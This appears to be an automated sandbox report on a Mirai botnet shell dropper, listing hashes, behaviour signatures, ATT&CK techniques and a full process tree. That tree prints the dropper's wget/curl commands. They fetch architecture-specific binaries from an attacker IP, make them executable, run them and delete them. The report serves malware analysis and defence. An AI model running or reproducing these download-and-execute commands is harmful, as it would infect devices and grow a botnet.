Analysis
- max time kernel
149s - max time network
150s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
11/07/2026, 04:28
Static task
static1
Behavioral task
behavioral1
Sample
022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh
Resource
debian9-mipsel-20260513-en
General
- Target 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh
- Size 2KB
- Sample260711-e3pb5abw3r
- SHA256 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce
- MD5 4af44a00eaf904dbd1024031b0b86034
- SHA1 677f1d1dfe639182134db45555076dfb6d920bea
- SHA512 d06bdee2da0b1655c099140417a8808044d8d2458d208bada02adc633a41e4e7c40872778b768693ad3168337d11030a713ced07051c48fba8790892968d63d2
- TLSH T15B51C9DAE22187FAEC65C916B2FA750CF4B140D6A4CE3E7B55EE39F4589DE04B300642
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
-
mirai
-
igmc.duckdns.org
Signatures
- File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 716 chmod 738 chmod 812 chmod 841 chmod 783 chmod 789 chmod 795 chmod 829 chmod 835 chmod 847 chmod 772 chmod 817 chmod 679 chmod 777 chmod 807 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/ar15.x86 680 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh - Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog ar15.arm File opened for modification /dev/misc/watchdog ar15.arm File opened for modification /dev/watchdog ar15.arm7 File opened for modification /dev/misc/watchdog ar15.arm7 - Enumerates running processes
Discovers information about currently running processes on the system
- Writes file to system bin folder 4 IoCs
description ioc Process File opened for modification /sbin/watchdog ar15.arm File opened for modification /bin/watchdog ar15.arm File opened for modification /sbin/watchdog ar15.arm7 File opened for modification /bin/watchdog ar15.arm7 -
resource yara_rule behavioral2/files/fstream-2.dat upx - Checks CPU configuration 1 TTPs 15 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/self/auxv curl File opened for reading /proc/10/status ar15.arm File opened for reading /proc/42/status ar15.arm7 File opened for reading /proc/self/auxv curl File opened for reading /proc/15/status ar15.arm File opened for reading /proc/16/status ar15.arm File opened for reading /proc/25/status ar15.arm File opened for reading /proc/6/status ar15.arm7 File opened for reading /proc/154/status ar15.arm7 File opened for reading /proc/326/status ar15.arm7 File opened for reading /proc/self/auxv curl File opened for reading /proc/27/status ar15.arm File opened for reading /proc/154/status ar15.arm File opened for reading /proc/165/status ar15.arm File opened for reading /proc/221/status ar15.arm File opened for reading /proc/276/status ar15.arm File opened for reading /proc/326/status ar15.arm File opened for reading /proc/639/status ar15.arm File opened for reading /proc/12/status ar15.arm File opened for reading /proc/329/status ar15.arm File opened for reading /proc/self/exe ar15.arm6 File opened for reading /proc/146/status ar15.arm7 File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/19/status ar15.arm File opened for reading /proc/595/status ar15.arm File opened for reading /proc/798/status ar15.arm File opened for reading /proc/self/exe ar15.arm7 File opened for reading /proc/43/status ar15.arm7 File opened for reading /proc/803/status ar15.arm7 File opened for reading /proc/41/status ar15.arm File opened for reading /proc/647/status ar15.arm File opened for reading /proc/115/status ar15.arm7 File opened for reading /proc/176/status ar15.arm7 File opened for reading /proc/798/status ar15.arm7 File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/11/status ar15.arm7 File opened for reading /proc/221/status ar15.arm7 File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/filesystems cp File opened for reading /proc/self/auxv curl File opened for reading /proc/14/status ar15.arm File opened for reading /proc/18/status ar15.arm File opened for reading /proc/664/status ar15.arm File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/3/status ar15.arm7 File opened for reading /proc/18/status ar15.arm7 File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/21/status ar15.arm7 File opened for reading /proc/112/status ar15.arm7 File opened for reading /proc/664/status ar15.arm7 File opened for reading /proc/self/auxv curl File opened for reading /proc/8/status ar15.arm File opened for reading /proc/17/status ar15.arm File opened for reading /proc/26/status ar15.arm File opened for reading /proc/283/status ar15.arm File opened for reading /proc/318/status ar15.arm File opened for reading /proc/16/status ar15.arm7 File opened for reading /proc/587/status ar15.arm7 File opened for reading /proc/self/auxv curl File opened for reading /proc/283/status ar15.arm7 File opened for reading /proc/9/status ar15.arm - System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 721 rm 683 wget 693 curl 718 ar15.mips - Writes file to tmp directory 30 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/ar15.x86_64 wget File opened for modification /tmp/ar15.mpsl wget File opened for modification /tmp/ar15.arm5 curl File opened for modification /tmp/ar15.sh4 wget File opened for modification /tmp/ar15.x86_64 curl File opened for modification /tmp/ar15.x86 curl File opened for modification /tmp/ar15.arc wget File opened for modification /tmp/ar15.arm5 wget File opened for modification /tmp/ar15.m68k wget File opened for modification /tmp/ar15.m68k curl File opened for modification /tmp/ar15.arc curl File opened for modification /tmp/ar15.i686 wget File opened for modification /tmp/ar15.spc wget File opened for modification /tmp/ar15.mips curl File opened for modification /tmp/ar15.i468 curl File opened for modification /tmp/ar15.i686 curl File opened for modification /tmp/ar15.ppc curl File opened for modification /tmp/ar15.arm wget File opened for modification /tmp/ar15.arm6 wget File opened for modification /tmp/ar15.arm7 wget File opened for modification /tmp/ar15.arm7 curl File opened for modification /tmp/ar15.mpsl curl File opened for modification /tmp/busybox cp File opened for modification /tmp/ar15.mips wget File opened for modification /tmp/ar15.ppc wget File opened for modification /tmp/ar15.spc curl File opened for modification /tmp/ar15.arm curl File opened for modification /tmp/ar15.arm6 curl File opened for modification /tmp/ar15.x86 wget File opened for modification /tmp/ar15.sh4 curl
Processes
-
/tmp/022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh/tmp/022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh1⤵
- Executes dropped EXE
PID:650 -
/bin/cpcp /bin/busybox /tmp/2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:655
-
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/usr/bin/wgetwget http://104.168.4.206/ar-15/ar15.x862⤵
- Writes file to tmp directory
PID:662
-
-
/usr/bin/curlcurl -O http://104.168.4.206/ar-15/ar15.x862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:678
-
-
/bin/chmodchmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.x86 busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI2⤵
- File and Directory Permissions Modification
PID:679
-
-
/tmp/ar15.x86./ar15.x86 ar15.x862⤵PID:680
-
-
/bin/rmrm -rf ar15.x862⤵PID:682
-
-
/usr/bin/wgetwget http://104.168.4.206/ar-15/ar15.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:683
-
-
/usr/bin/curlcurl -O http://104.168.4.206/ar-15/ar15.mips2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:693
-
-
/bin/chmodchmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.mips busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI2⤵
- File and Directory Permissions Modification
PID:716
-
-
/tmp/ar15.mips./ar15.mips ar15.mips2⤵
- System Network Configuration Discovery
PID:718
-
-
/bin/rmrm -rf ar15.mips2⤵
- System Network Configuration Discovery
PID:721
-
-
/usr/bin/wgetwget http://104.168.4.206/ar-15/ar15.arc2⤵
- Writes file to tmp directory
PID:722
-
-
/usr/bin/curlcurl -O http://104.168.4.206/ar-15/ar15.arc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:735
-
-
/bin/chmodchmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.arc busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI2⤵
- File and Directory Permissions Modification
PID:738
-
-
/tmp/ar15.arc./ar15.arc ar15.arc2⤵PID:739
-
-
/bin/rmrm -rf ar15.arc2⤵PID:742
-
-
/usr/bin/wgetwget http://104.168.4.206/ar-15/ar15.i4682⤵PID:744
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/usr/bin/curlcurl -O http://104.168.4.206/ar-15/ar15.i4682⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:759
-
-
/bin/chmodchmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.i468 busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI2⤵
- File and Directory Permissions Modification
PID:772
-
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/tmp/ar15.i468./ar15.i468 ar15.i4682⤵PID:773
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/bin/rmrm -rf ar15.i4682⤵PID:774
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/usr/bin/wgetwget http://104.168.4.206/ar-15/ar15.i6862⤵
- Writes file to tmp directory
PID:775
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/usr/bin/curlcurl -O http://104.168.4.206/ar-15/ar15.i6862⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:776
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/bin/chmodchmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.i686 busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI2⤵
- File and Directory Permissions Modification
PID:777
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/tmp/ar15.i686./ar15.i686 ar15.i6862⤵PID:778
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/bin/rmrm -rf ar15.i6862⤵PID:780
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/usr/bin/wgetwget http://104.168.4.206/ar-15/ar15.x86_642⤵
- Writes file to tmp directory
PID:781
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/usr/bin/curlcurl -O http://104.168.4.206/ar-15/ar15.x86_642⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:782
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/bin/chmodchmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.x86_64 busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI2⤵
- File and Directory Permissions Modification
PID:783
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/tmp/ar15.x86_64./ar15.x86_64 ar15.x86_642⤵PID:784
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/bin/rmrm -rf ar15.x86_642⤵PID:786
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/usr/bin/wgetwget http://104.168.4.206/ar-15/ar15.mpsl2⤵
- Writes file to tmp directory
PID:787
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/usr/bin/curlcurl -O http://104.168.4.206/ar-15/ar15.mpsl2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:788
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/bin/chmodchmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.mpsl busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI2⤵
- File and Directory Permissions Modification
PID:789
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/tmp/ar15.mpsl./ar15.mpsl ar15.mpsl2⤵PID:790
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/bin/rmrm -rf ar15.mpsl2⤵PID:792
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/usr/bin/wgetwget http://104.168.4.206/ar-15/ar15.arm2⤵
- Writes file to tmp directory
PID:793
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/usr/bin/curlcurl -O http://104.168.4.206/ar-15/ar15.arm2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:794
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/bin/chmodchmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.arm busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI2⤵
- File and Directory Permissions Modification
PID:795
-
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/tmp/ar15.arm./ar15.arm ar15.arm2⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:796
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/bin/rmrm -rf ar15.arm2⤵PID:804
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/usr/bin/wgetwget http://104.168.4.206/ar-15/ar15.arm52⤵
- Writes file to tmp directory
PID:805
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/usr/bin/curlcurl -O http://104.168.4.206/ar-15/ar15.arm52⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:806
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/bin/chmodchmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.arm5 busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI2⤵
- File and Directory Permissions Modification
PID:807
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/tmp/ar15.arm5./ar15.arm5 ar15.arm52⤵PID:808
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/bin/rmrm -rf ar15.arm52⤵PID:809
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/usr/bin/wgetwget http://104.168.4.206/ar-15/ar15.arm62⤵
- Writes file to tmp directory
PID:810
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/usr/bin/curlcurl -O http://104.168.4.206/ar-15/ar15.arm62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:811
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/bin/chmodchmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.arm6 busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI2⤵
- File and Directory Permissions Modification
PID:812
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/tmp/ar15.arm6./ar15.arm6 ar15.arm62⤵
- Reads runtime system information
PID:813
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/bin/rmrm -rf ar15.arm62⤵PID:814
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/usr/bin/wgetwget http://104.168.4.206/ar-15/ar15.arm72⤵
- Writes file to tmp directory
PID:815
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/usr/bin/curlcurl -O http://104.168.4.206/ar-15/ar15.arm72⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:816
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/bin/chmodchmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.arm7 busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI2⤵
- File and Directory Permissions Modification
PID:817
-
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/tmp/ar15.arm7./ar15.arm7 ar15.arm72⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:818
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/bin/rmrm -rf ar15.arm72⤵PID:826
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/usr/bin/wgetwget http://104.168.4.206/ar-15/ar15.ppc2⤵
- Writes file to tmp directory
PID:827
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/usr/bin/curlcurl -O http://104.168.4.206/ar-15/ar15.ppc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:828
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/bin/chmodchmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.ppc busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI2⤵
- File and Directory Permissions Modification
PID:829
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/tmp/ar15.ppc./ar15.ppc ar15.ppc2⤵PID:830
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/bin/rmrm -rf ar15.ppc2⤵PID:832
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/usr/bin/wgetwget http://104.168.4.206/ar-15/ar15.spc2⤵
- Writes file to tmp directory
PID:833
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/usr/bin/curlcurl -O http://104.168.4.206/ar-15/ar15.spc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:834
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/bin/chmodchmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.spc busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI2⤵
- File and Directory Permissions Modification
PID:835
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/tmp/ar15.spc./ar15.spc ar15.spc2⤵PID:836
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/bin/rmrm -rf ar15.spc2⤵PID:838
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/usr/bin/wgetwget http://104.168.4.206/ar-15/ar15.m68k2⤵
- Writes file to tmp directory
PID:839
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/usr/bin/curlcurl -O http://104.168.4.206/ar-15/ar15.m68k2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:840
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/bin/chmodchmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.m68k busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI2⤵
- File and Directory Permissions Modification
PID:841
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/tmp/ar15.m68k./ar15.m68k ar15.m68k2⤵PID:842
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/bin/rmrm -rf ar15.m68k2⤵PID:844
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/usr/bin/wgetwget http://104.168.4.206/ar-15/ar15.sh42⤵
- Writes file to tmp directory
PID:845
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/usr/bin/curlcurl -O http://104.168.4.206/ar-15/ar15.sh42⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:846
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/bin/chmodchmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.sh4 busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI2⤵
- File and Directory Permissions Modification
PID:847
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/tmp/ar15.sh4./ar15.sh4 ar15.sh42⤵PID:848
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/bin/rmrm -rf ar15.sh42⤵PID:850
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Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/ar15.x86
- Size 38KB
- SHA256 50de9e27eedaac5c4ed887c196899adbd136b63e72a5bcfcf9d3f4ac0460454b
- MD5 069c3e3a886a51fbb04c7f46f080a5c9
- SHA1 1b17886478496e4bbb5877cf0e140b00481a932e
- SHA512 05a14857a5dbff99614efe086500b5d091127bf58700334184ae61ab35f3057e4964524bc39cc632f931fb9f7a58b4adc3a11fbbfc2bd210e9fffb618ccb52ff
- SSDEEP 768:tliFAVUyruldzKaDNELJSGiImSfGnHuohLTpHkk0Du9ipJoVnbcuyD7UHQRjv:UAVUyrulaQGlmSoHuo5TZP04fnouy8HM
- TLSH T1DB03F142C6D28A01D41FA03B69ECA75F0B0D570F1CA897436AC631E55DA0F5CEEAD29B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/busybox
- Size 507KB
- SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
- MD5 e588bcf03ae78237b58899d35f50c570
- SHA1 2194732ebbefbc27bdae876c77f2a97a20175710
- SHA512 904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555
- SSDEEP 12288:KKCUYnMx/qAPbFabrimkuc+GnCIRki2jEyfbPxG3:KKqKqsbF2ZjGIrPfbPxG3
- TLSH T1EEB4E0C9FD812D83C6C3823D32021C759575D5DDB3AA921A322DA0FB3768AB653DE394
- MD5 SHA1 SHA512 SSDEEP TLSH